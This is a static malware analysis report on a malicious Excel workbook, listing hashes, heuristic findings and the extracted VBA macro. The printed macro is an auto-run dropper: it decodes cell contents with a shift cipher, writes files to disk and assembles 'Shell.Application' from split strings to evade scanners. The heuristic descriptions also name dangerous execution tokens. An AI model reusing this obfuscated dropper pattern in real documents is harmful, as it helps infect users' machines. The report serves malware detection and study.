Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 344f0c0f4cbcb572…

MALICIOUS

Office (OOXML)

19.5 KB Created: 2021-03-14 02:05:13 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-04-01
MD5: 81dccfa925ef93ee2920d31b5f18c034 SHA-1: 26095fd36f5a03f1d4f3e47b1d7994b966992309 SHA-256: 344f0c0f4cbcb572af905cf881a1143ce2ceeafa881ede404a64c072d7e1fb77
128 Risk Score

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1764 bytes
SHA-256: 0e1f19637b4e2f2fbbbae1a009b86ddbaec4a2a27c50d817941376f3a439bcd1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Workbook_Open()

Dim filename1 As String
Dim linetext1 As String
Dim FileExtension1 As String
FileExtension1 = Ilabas(Range("A1").Value)
filename1 = ThisWorkbook.Path & "\Update1" & FileExtension1
Open filename1 For Output As #1
linetext1 = Ilabas(Range("A4").Value)
Print #1, linetext1
Close #1

Dim file2 As String
Dim Text2 As String
Dim Extension As String

Extension = Ilabas(Range("A2").Value)
file2 = ThisWorkbook.Path & "\nothing" & Extension
Open file2 For Output As #3
Text2 = Range("A3").Value
Print #3, Text2
Close #3

Dim nuclear As Object
Dim classname As String
classname = "S" & "h" & "e" & "l" & "l" & ".Application"




End Sub





Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Attribute VB_Name = "Module1"
Function Itago(a As String) As String

Dim i As Integer
Dim s As String
For i = 1 To Len(a)
    s = Mid(a, i, 1)
    s = Chr(Asc(s) + 5)
    
    Itago = Itago & s
        
Next i

End Function
Function Ilabas(a As String) As String

Dim i As Integer
Dim s As String

For i = 1 To Len(a)
    s = Mid(a, i, 1)
    
    s = Chr(Asc(s) - 5)
    
    Ilabas = Ilabas & s
    
Next i


End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 24576 bytes
SHA-256: 90d96a18e2366308288113668026cbb7090b681d50f180c81b26745ed433283d

Open this report in the interactive analyzer, or submit your own file for analysis.